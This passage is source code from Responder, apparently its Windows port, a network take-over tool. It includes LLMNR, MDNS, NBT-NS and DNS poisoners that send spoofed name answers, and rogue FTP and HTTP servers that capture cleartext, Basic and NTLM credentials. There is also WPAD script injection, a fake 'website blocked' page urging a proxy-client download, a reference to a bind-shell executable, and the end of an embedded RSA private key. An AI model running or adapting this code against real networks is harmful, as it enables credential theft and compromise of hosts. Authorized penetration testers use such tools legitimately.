cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1 17 | 5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf 18 | s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje 19 | ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2 20 | VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes 21 | AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35 22 | HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf 23 | VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm 24 | kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35 25 | f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp 26 | MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /src/files/AccessDenied.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Website Blocked: ISA Proxy Server 4 | 14 | 15 | 16 | 17 |
18 |
19 |
New Security Policy: Website Blocked
20 |
    21 |
    22 |
    23 |
  • Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
  • 24 |
    25 |
26 |
27 | 28 |
29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /src/files/BindShell.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/src/files/BindShell.exe -------------------------------------------------------------------------------- /src/fingerprint.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import socket 18 | import struct 19 | 20 | from utils import color 21 | from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData 22 | 23 | def OsNameClientVersion(data): 24 | try: 25 | length = struct.unpack('i", len(''.join(Packet)))+Packet 44 | s.send(Buffer) 45 | data = s.recv(2048) 46 | 47 | if data[8:10] == "\x72\x00": 48 | Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") 49 | Body = SMBSessionFingerData() 50 | Body.calculate() 51 | 52 | Packet = str(Header)+str(Body) 53 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 54 | 55 | s.send(Buffer) 56 | data = s.recv(2048) 57 | 58 | if data[8:10] == "\x73\x16": 59 | return OsNameClientVersion(data) 60 | except: 61 | print color("[!] ", 1, 1) +" Fingerprint failed" 62 | return None 63 | -------------------------------------------------------------------------------- /src/logs/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/src/logs/.gitignore -------------------------------------------------------------------------------- /src/odict.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from UserDict import DictMixin 18 | 19 | class OrderedDict(dict, DictMixin): 20 | 21 | def __init__(self, *args, **kwds): 22 | if len(args) > 1: 23 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 24 | try: 25 | self.__end 26 | except AttributeError: 27 | self.clear() 28 | self.update(*args, **kwds) 29 | 30 | def clear(self): 31 | self.__end = end = [] 32 | end += [None, end, end] 33 | self.__map = {} 34 | dict.clear(self) 35 | 36 | def __setitem__(self, key, value): 37 | if key not in self: 38 | end = self.__end 39 | curr = end[1] 40 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 41 | dict.__setitem__(self, key, value) 42 | 43 | def __delitem__(self, key): 44 | dict.__delitem__(self, key) 45 | key, prev, next = self.__map.pop(key) 46 | prev[2] = next 47 | next[1] = prev 48 | 49 | def __iter__(self): 50 | end = self.__end 51 | curr = end[2] 52 | while curr is not end: 53 | yield curr[0] 54 | curr = curr[2] 55 | 56 | def __reversed__(self): 57 | end = self.__end 58 | curr = end[1] 59 | while curr is not end: 60 | yield curr[0] 61 | curr = curr[1] 62 | 63 | def popitem(self, last=True): 64 | if not self: 65 | raise KeyError('dictionary is empty') 66 | if last: 67 | key = reversed(self).next() 68 | else: 69 | key = iter(self).next() 70 | value = self.pop(key) 71 | return key, value 72 | 73 | def __reduce__(self): 74 | items = [[k, self[k]] for k in self] 75 | tmp = self.__map, self.__end 76 | del self.__map, self.__end 77 | inst_dict = vars(self).copy() 78 | self.__map, self.__end = tmp 79 | if inst_dict: 80 | return self.__class__, (items,), inst_dict 81 | return self.__class__, (items,) 82 | 83 | def keys(self): 84 | return list(self) 85 | 86 | setdefault = DictMixin.setdefault 87 | update = DictMixin.update 88 | pop = DictMixin.pop 89 | values = DictMixin.values 90 | items = DictMixin.items 91 | iterkeys = DictMixin.iterkeys 92 | itervalues = DictMixin.itervalues 93 | iteritems = DictMixin.iteritems 94 | 95 | def __repr__(self): 96 | if not self: 97 | return '%s()' % (self.__class__.__name__,) 98 | return '%s(%r)' % (self.__class__.__name__, self.items()) 99 | 100 | def copy(self): 101 | return self.__class__(self) 102 | 103 | @classmethod 104 | def fromkeys(cls, iterable, value=None): 105 | d = cls() 106 | for key in iterable: 107 | d[key] = value 108 | return d 109 | 110 | def __eq__(self, other): 111 | if isinstance(other, OrderedDict): 112 | return len(self)==len(other) and \ 113 | min(p==q for p, q in zip(self.items(), other.items())) 114 | return dict.__eq__(self, other) 115 | 116 | def __ne__(self, other): 117 | return not self == other 118 | -------------------------------------------------------------------------------- /src/poisoners/LLMNR.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import struct 18 | import fingerprint 19 | 20 | from packets import LLMNR_Ans 21 | from SocketServer import BaseRequestHandler 22 | from utils import * 23 | 24 | 25 | def Parse_LLMNR_Name(data): 26 | NameLen = struct.unpack('>B',data[12])[0] 27 | return data[13:13+NameLen] 28 | 29 | 30 | def IsICMPRedirectPlausible(IP): 31 | dnsip = [] 32 | for line in file('/etc/resolv.conf', 'r'): 33 | ip = line.split() 34 | if len(ip) < 2: 35 | continue 36 | elif ip[0] == 'nameserver': 37 | dnsip.extend(ip[1:]) 38 | for x in dnsip: 39 | if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: 40 | print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) 41 | print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) 42 | print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) 43 | 44 | #if settings.Config.AnalyzeMode: 45 | #IsICMPRedirectPlausible(settings.Config.Bind_To) 46 | 47 | 48 | class LLMNR(BaseRequestHandler): # LLMNR Server class 49 | def handle(self): 50 | data, soc = self.request 51 | Name = Parse_LLMNR_Name(data) 52 | 53 | # Break out if we don't want to respond to this host 54 | if RespondToThisHost(self.client_address[0], Name) is not True: 55 | return None 56 | 57 | if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): 58 | Finger = None 59 | if settings.Config.Finger_On_Off: 60 | Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) 61 | 62 | if settings.Config.AnalyzeMode: 63 | LineHeader = "[Analyze mode: LLMNR]" 64 | print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) 65 | else: # Poisoning Mode 66 | Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) 67 | Buffer.calculate() 68 | soc.sendto(str(Buffer), self.client_address) 69 | LineHeader = "[*] [LLMNR]" 70 | print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) 71 | 72 | if Finger is not None: 73 | print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) 74 | print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) 75 | -------------------------------------------------------------------------------- /src/poisoners/MDNS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import struct 18 | 19 | from SocketServer import BaseRequestHandler 20 | from packets import MDNS_Ans 21 | from utils import * 22 | 23 | def Parse_MDNS_Name(data): 24 | try: 25 | data = data[12:] 26 | NameLen = struct.unpack('>B',data[0])[0] 27 | Name = data[1:1+NameLen] 28 | NameLen_ = struct.unpack('>B',data[1+NameLen])[0] 29 | Name_ = data[1+NameLen:1+NameLen+NameLen_+1] 30 | return Name+'.'+Name_ 31 | except IndexError: 32 | return None 33 | 34 | 35 | def Poisoned_MDNS_Name(data): 36 | data = data[12:] 37 | return data[:len(data)-5] 38 | 39 | class MDNS(BaseRequestHandler): 40 | def handle(self): 41 | MADDR = "224.0.0.251" 42 | MPORT = 5353 43 | 44 | data, soc = self.request 45 | Request_Name = Parse_MDNS_Name(data) 46 | 47 | # Break out if we don't want to respond to this host 48 | if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): 49 | return None 50 | 51 | if settings.Config.AnalyzeMode: # Analyze Mode 52 | if Parse_IPV6_Addr(data): 53 | print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) 54 | else: # Poisoning Mode 55 | if Parse_IPV6_Addr(data): 56 | 57 | Poisoned_Name = Poisoned_MDNS_Name(data) 58 | Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) 59 | Buffer.calculate() 60 | soc.sendto(str(Buffer), (MADDR, MPORT)) 61 | 62 | print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) 63 | -------------------------------------------------------------------------------- /src/poisoners/NBTNS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import fingerprint 18 | 19 | from packets import NBT_Ans 20 | from SocketServer import BaseRequestHandler 21 | from utils import * 22 | 23 | # Define what are we answering to. 24 | def Validate_NBT_NS(data): 25 | if settings.Config.AnalyzeMode: 26 | return False 27 | elif NBT_NS_Role(data[43:46]) == "File Server": 28 | return True 29 | elif settings.Config.NBTNSDomain: 30 | if NBT_NS_Role(data[43:46]) == "Domain Controller": 31 | return True 32 | elif settings.Config.Wredirect: 33 | if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": 34 | return True 35 | return False 36 | 37 | # NBT_NS Server class. 38 | class NBTNS(BaseRequestHandler): 39 | 40 | def handle(self): 41 | 42 | data, socket = self.request 43 | Name = Decode_Name(data[13:45]) 44 | 45 | # Break out if we don't want to respond to this host 46 | if RespondToThisHost(self.client_address[0], Name) is not True: 47 | return None 48 | 49 | if data[2:4] == "\x01\x10": 50 | Finger = None 51 | if settings.Config.Finger_On_Off: 52 | Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) 53 | 54 | if settings.Config.AnalyzeMode: # Analyze Mode 55 | LineHeader = "[Analyze mode: NBT-NS]" 56 | print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) 57 | else: # Poisoning Mode 58 | Buffer = NBT_Ans() 59 | Buffer.calculate(data) 60 | socket.sendto(str(Buffer), self.client_address) 61 | LineHeader = "[*] [NBT-NS]" 62 | 63 | print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) 64 | 65 | if Finger is not None: 66 | print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) 67 | print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) 68 | -------------------------------------------------------------------------------- /src/poisoners/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/src/poisoners/__init__.py -------------------------------------------------------------------------------- /src/servers/Browser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData 18 | from SocketServer import BaseRequestHandler 19 | from utils import * 20 | import struct 21 | 22 | 23 | def WorkstationFingerPrint(data): 24 | return { 25 | "\x04\x00" :"Windows 95", 26 | "\x04\x0A" :"Windows 98", 27 | "\x04\x5A" :"Windows ME", 28 | "\x05\x00" :"Windows 2000", 29 | "\x05\x01" :"Windows XP", 30 | "\x05\x02" :"Windows XP(64-Bit)/Windows 2003", 31 | "\x06\x00" :"Windows Vista/Server 2008", 32 | "\x06\x01" :"Windows 7/Server 2008R2", 33 | "\x06\x02" :"Windows 8/Server 2012", 34 | "\x06\x03" :"Windows 8.1/Server 2012R2", 35 | "\x0A\x00" :"Windows 10/Server 2016", 36 | }.get(data, 'Unknown') 37 | 38 | 39 | def RequestType(data): 40 | return { 41 | "\x01": 'Host Announcement', 42 | "\x02": 'Request Announcement', 43 | "\x08": 'Browser Election', 44 | "\x09": 'Get Backup List Request', 45 | "\x0a": 'Get Backup List Response', 46 | "\x0b": 'Become Backup Browser', 47 | "\x0c": 'Domain/Workgroup Announcement', 48 | "\x0d": 'Master Announcement', 49 | "\x0e": 'Reset Browser State Announcement', 50 | "\x0f": 'Local Master Announcement', 51 | }.get(data, 'Unknown') 52 | 53 | 54 | def PrintServerName(data, entries): 55 | if entries <= 0: 56 | return None 57 | entrieslen = 26 * entries 58 | chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries 59 | ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] 60 | 61 | l = [] 62 | for x in ServerName: 63 | fingerprint = WorkstationFingerPrint(x[16:18]) 64 | name = x[:16].replace('\x00', '') 65 | l.append('%s (%s)' % (name, fingerprint)) 66 | return l 67 | 68 | 69 | def ParsePacket(Payload): 70 | PayloadOffset = struct.unpack('i", len(''.join(Packet))) + Packet 105 | 106 | s.send(Buffer) 107 | data = s.recv(1024) 108 | 109 | # Session Setup AndX Request, Anonymous. 110 | if data[8:10] == "\x72\x00": 111 | Header = SMBHeader(cmd="\x73",mid="\x02\x00") 112 | Body = SMBSessionData() 113 | Body.calculate() 114 | 115 | Packet = str(Header)+str(Body) 116 | Buffer = struct.pack(">i", len(''.join(Packet))) + Packet 117 | 118 | s.send(Buffer) 119 | data = s.recv(1024) 120 | 121 | # Tree Connect IPC$. 122 | if data[8:10] == "\x73\x00": 123 | Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") 124 | Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") 125 | Body.calculate() 126 | 127 | Packet = str(Header)+str(Body) 128 | Buffer = struct.pack(">i", len(''.join(Packet))) + Packet 129 | 130 | s.send(Buffer) 131 | data = s.recv(1024) 132 | 133 | # Rap ServerEnum. 134 | if data[8:10] == "\x75\x00": 135 | Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") 136 | Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) 137 | Body.calculate() 138 | 139 | Packet = str(Header)+str(Body) 140 | Buffer = struct.pack(">i", len(''.join(Packet))) + Packet 141 | 142 | s.send(Buffer) 143 | data = s.recv(64736) 144 | 145 | # Rap ServerEnum, Get answer and return what we're looking for. 146 | if data[8:10] == "\x25\x00": 147 | s.close() 148 | return ParsePacket(data) 149 | except: 150 | pass 151 | 152 | def BecomeBackup(data,Client): 153 | try: 154 | DataOffset = struct.unpack('. 17 | from packets import DNS_Ans 18 | from SocketServer import BaseRequestHandler 19 | from utils import * 20 | 21 | def ParseDNSType(data): 22 | QueryTypeClass = data[len(data)-4:] 23 | 24 | # If Type A, Class IN, then answer. 25 | return QueryTypeClass == "\x00\x01\x00\x01" 26 | 27 | 28 | 29 | class DNS(BaseRequestHandler): 30 | def handle(self): 31 | # Break out if we don't want to respond to this host 32 | if RespondToThisIP(self.client_address[0]) is not True: 33 | return None 34 | 35 | try: 36 | data, soc = self.request 37 | 38 | if ParseDNSType(data) and settings.Config.AnalyzeMode == False: 39 | buff = DNS_Ans() 40 | buff.calculate(data) 41 | soc.sendto(str(buff), self.client_address) 42 | 43 | ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) 44 | print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) 45 | 46 | except Exception: 47 | pass 48 | 49 | # DNS Server TCP Class 50 | class DNSTCP(BaseRequestHandler): 51 | def handle(self): 52 | # Break out if we don't want to respond to this host 53 | if RespondToThisIP(self.client_address[0]) is not True: 54 | return None 55 | 56 | try: 57 | data = self.request.recv(1024) 58 | 59 | if ParseDNSType(data) and settings.Config.AnalyzeMode is False: 60 | buff = DNS_Ans() 61 | buff.calculate(data) 62 | self.request.send(str(buff)) 63 | 64 | ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) 65 | print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) 66 | 67 | except Exception: 68 | pass 69 | -------------------------------------------------------------------------------- /src/servers/FTP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from utils import * 18 | from SocketServer import BaseRequestHandler 19 | from packets import FTPPacket 20 | 21 | class FTP(BaseRequestHandler): 22 | def handle(self): 23 | try: 24 | self.request.send(str(FTPPacket())) 25 | data = self.request.recv(1024) 26 | 27 | if data[0:4] == "USER": 28 | User = data[5:].strip() 29 | 30 | Packet = FTPPacket(Code="331",Message="User name okay, need password.") 31 | self.request.send(str(Packet)) 32 | data = self.request.recv(1024) 33 | 34 | if data[0:4] == "PASS": 35 | Pass = data[5:].strip() 36 | 37 | Packet = FTPPacket(Code="530",Message="User not logged in.") 38 | self.request.send(str(Packet)) 39 | data = self.request.recv(1024) 40 | 41 | SaveToDb({ 42 | 'module': 'FTP', 43 | 'type': 'Cleartext', 44 | 'client': self.client_address[0], 45 | 'user': User, 46 | 'cleartext': Pass, 47 | 'fullhash': User + ':' + Pass 48 | }) 49 | 50 | else: 51 | Packet = FTPPacket(Code="502",Message="Command not implemented.") 52 | self.request.send(str(Packet)) 53 | data = self.request.recv(1024) 54 | 55 | except Exception: 56 | pass 57 | -------------------------------------------------------------------------------- /src/servers/HTTP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import struct 18 | from SocketServer import BaseRequestHandler, StreamRequestHandler 19 | from base64 import b64decode 20 | from utils import * 21 | 22 | from packets import NTLM_Challenge 23 | from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer 24 | from packets import WPADScript, ServeExeFile, ServeHtmlFile 25 | 26 | 27 | # Parse NTLMv1/v2 hash. 28 | def ParseHTTPHash(data, client, module): 29 | LMhashLen = struct.unpack(' 24: 57 | NthashLen = 64 58 | DomainLen = struct.unpack(' 1 and settings.Config.Verbose: 82 | print text("[HTTP] Cookie : %s " % Cookie) 83 | return Cookie 84 | return False 85 | 86 | def GrabHost(data, host): 87 | Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) 88 | 89 | if Host: 90 | Host = Host.group(0).replace('Host: ', '') 91 | if settings.Config.Verbose: 92 | print text("[HTTP] Host : %s " % color(Host, 3)) 93 | return Host 94 | return False 95 | 96 | def GrabReferer(data, host): 97 | Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) 98 | 99 | if Referer: 100 | Referer = Referer.group(0).replace('Referer: ', '') 101 | if settings.Config.Verbose: 102 | print text("[HTTP] Referer : %s " % color(Referer, 3)) 103 | return Referer 104 | return False 105 | 106 | def SpotFirefox(data): 107 | UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) 108 | if UserAgent: 109 | print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)) 110 | IsFirefox = re.search('Firefox', UserAgent[0]) 111 | if IsFirefox: 112 | print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1) 113 | print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1) 114 | return True 115 | else: 116 | return False 117 | 118 | def WpadCustom(data, client): 119 | Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) 120 | if Wpad and SpotFirefox(data): 121 | Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}") 122 | Buffer.calculate() 123 | return str(Buffer) 124 | 125 | if Wpad and SpotFirefox(data) == False: 126 | Buffer = WPADScript(Payload=settings.Config.WPAD_Script) 127 | Buffer.calculate() 128 | return str(Buffer) 129 | return False 130 | 131 | def IsWebDAV(data): 132 | dav = re.search('PROPFIND', data) 133 | if dav: 134 | return True 135 | else: 136 | return False 137 | 138 | def ServeOPTIONS(data): 139 | WebDav= re.search('OPTIONS', data) 140 | if WebDav: 141 | Buffer = WEBDAV_Options_Answer() 142 | return str(Buffer) 143 | 144 | return False 145 | 146 | def ServeFile(Filename): 147 | with open (Filename, "rb") as bk: 148 | return bk.read() 149 | 150 | def RespondWithFile(client, filename, dlname=None): 151 | 152 | if filename.endswith('.exe'): 153 | Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname) 154 | else: 155 | Buffer = ServeHtmlFile(Payload = ServeFile(filename)) 156 | 157 | Buffer.calculate() 158 | print text("[HTTP] Sending file %s to %s" % (filename, client)) 159 | return str(Buffer) 160 | 161 | def GrabURL(data, host): 162 | GET = re.findall(r'(?<=GET )[^HTTP]*', data) 163 | POST = re.findall(r'(?<=POST )[^HTTP]*', data) 164 | POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data) 165 | 166 | if GET and settings.Config.Verbose: 167 | print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) 168 | 169 | if POST and settings.Config.Verbose: 170 | print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) 171 | 172 | if len(''.join(POSTDATA)) > 2: 173 | print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) 174 | 175 | # Handle HTTP packet sequence. 176 | def PacketSequence(data, client): 177 | NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) 178 | Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) 179 | 180 | # Serve the .exe if needed 181 | if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)): 182 | return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) 183 | 184 | # Serve the custom HTML if needed 185 | if settings.Config.Serve_Html: 186 | return RespondWithFile(client, settings.Config.Html_Filename) 187 | 188 | WPAD_Custom = WpadCustom(data, client) 189 | # Webdav 190 | if ServeOPTIONS(data): 191 | return ServeOPTIONS(data) 192 | 193 | if NTLM_Auth: 194 | Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] 195 | if Packet_NTLM == "\x01": 196 | GrabURL(data, client) 197 | GrabReferer(data, client) 198 | GrabHost(data, client) 199 | GrabCookie(data, client) 200 | 201 | Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) 202 | Buffer.calculate() 203 | 204 | Buffer_Ans = IIS_NTLM_Challenge_Ans() 205 | Buffer_Ans.calculate(str(Buffer)) 206 | return str(Buffer_Ans) 207 | 208 | if Packet_NTLM == "\x03": 209 | NTLM_Auth = b64decode(''.join(NTLM_Auth)) 210 | if IsWebDAV(data): 211 | module = "WebDAV" 212 | else: 213 | module = "HTTP" 214 | ParseHTTPHash(NTLM_Auth, client, module) 215 | 216 | if settings.Config.Force_WPAD_Auth and WPAD_Custom: 217 | print text("[HTTP] WPAD (auth) file sent to %s" % client) 218 | 219 | return WPAD_Custom 220 | else: 221 | Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) 222 | Buffer.calculate() 223 | return str(Buffer) 224 | 225 | elif Basic_Auth: 226 | ClearText_Auth = b64decode(''.join(Basic_Auth)) 227 | 228 | GrabURL(data, client) 229 | GrabReferer(data, client) 230 | GrabHost(data, client) 231 | GrabCookie(data, client) 232 | 233 | SaveToDb({ 234 | 'module': 'HTTP', 235 | 'type': 'Basic', 236 | 'client': client, 237 | 'user': ClearText_Auth.split(':')[0], 238 | 'cleartext': ClearText_Auth.split(':')[1], 239 | }) 240 | 241 | if settings.Config.Force_WPAD_Auth and WPAD_Custom: 242 | if settings.Config.Verbose: 243 | print text("[HTTP] WPAD (auth) file sent to %s" % client) 244 | 245 | return WPAD_Custom 246 | else: 247 | Buffer = 